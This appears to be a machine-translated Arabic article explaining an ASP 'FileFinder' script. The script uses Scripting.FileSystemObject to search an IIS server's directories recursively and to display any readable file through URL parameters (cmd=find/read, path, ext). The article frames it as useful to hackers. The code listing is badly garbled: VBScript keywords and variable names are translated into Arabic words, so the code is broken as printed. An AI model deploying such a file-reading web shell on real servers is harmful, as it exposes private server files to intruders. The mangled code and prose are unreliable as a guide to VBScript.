كائن scripting.filesystemobject هو واحد من العديد من كائنات COM التي توفرها SCRRUN.DLL للتحكم في VBSCRIP/JSCRIPT. يوفر Scripting.FileSystemObject وصولًا مناسبًا للغاية إلى الملفات النصية ودليلات الملفات ، ولكنه يطرح أيضًا بعض التهديدات لأمن بيانات خادم الويب IIS.
رمز FileFinder بسيط للغاية ، ويتألف من 3 وظائف و 30 سطر من التعليمات البرمجية المتسلسلة.
الشيء الأكثر أهمية هو وظيفة FindFiles ، التي تنفذ اجتياز دليل معين من خلال تسميته بشكل متكرر والبحث عن هذه الملفات وفقًا لتمديد ملف معين.
وظيفة FindFiles (Strstartfolder ، Strect)
قاتمة ن
قاتمة ohisfolder
خافتة من العلماء
خافت
قاتمة أوفولدر
باهتة
"إذا قام مسؤول النظام بتعيين أذونات نظام الملفات بعناية ، فسيقوم الرمز التالي بإجراء خطأ
"لكن لا يزال من الممكن عرض بعض الدلائل ، لذلك نتجاهل الأخطاء ببساطة
عند استئناف الخطأ التالي
ن = 0
Response.write <b> Searching & Strstartfolder & </b> <br>
قم بتعيين thatisfolder = g_fs.getfolder (strstartfolder)
مجموعة offiles = allisfolder.files
لكل من Ile في Ofiles
إذا كان امتداد الملف المحدد ، فاطجل دليل الاتصال نفسه ، ولكن استخدم أمرًا مختلفًا CMD
"هنا هو cmd = قراءة ، أي اقرأ الملف النصي مع المسار الفعلي المحدد
إذا issuffix (Ofile.Path ، Strect) ثم
استجابة. write <a target = _blank href = 'ff.asp؟ cmd = read & path = & server.htmlencode (forile.path) &'> <font color = 'dodgerblue'> & forile.path & </font> <br> <br>
إذا err = 0 ثم
n = n + 1
إنهاء إذا
إنهاء إذا
التالي
مجموعة من المسلحين = إما ishisfolder.subfolders
لكل من الأكبر سنا في كبار السن
n = n + findFiles (Ofolder.path ، strect)
التالي
FindFiles = n
وظيفة نهاية
يحلل الرمز التالي المعلمات بعد عنوان URL:
اقرأ قيم كل معلمة
strcmd = ucase (request.querystring (cmd))
strprath = request.querystring (مسار)
strect = request.querystring (ext)
brawdata = ucase (request.querystring (RAW))
ابحث عن ملفات .asp الافتراضية
إذا strPrath = إذن
strprath =.
إنهاء إذا
إذا strect = إذن
strect = .asp
إنهاء إذا
قم بتنفيذ رموز مختلفة وفقًا لأمر مختلف CMD
حدد CASE StrCMD
العثور على حالة
Response.write findFiles (Strath ، Strect) & File (s)
قراءة القضية
إذا كان brawdata = t ثم
استجابة. readtextfile (Strath)
آخر
Response.write <pre> & server.htmlencode (readtextfile (strprath)) و </pre>
إنهاء إذا
حالة أخرى
Response.write <h3> يرجى تحديد أمر لتنفيذ </h3>
نهاية الاختيار
من التحليل أعلاه ، يمكننا أن نرى أنه إذا كان لدينا أذونات كافية ، فيمكننا استخدام FileFinder للعثور على أي ملف نصي على خادم الويب IIS ، ويمكننا بسهولة عرض محتوى الملف. بالنسبة للملفات غير النصية ، من الممكن تحديد ما إذا كانت موجودة ومكان وجودها ، والتي تكون في بعض الأحيان مهمة للغاية للمتسللين المتقدمين.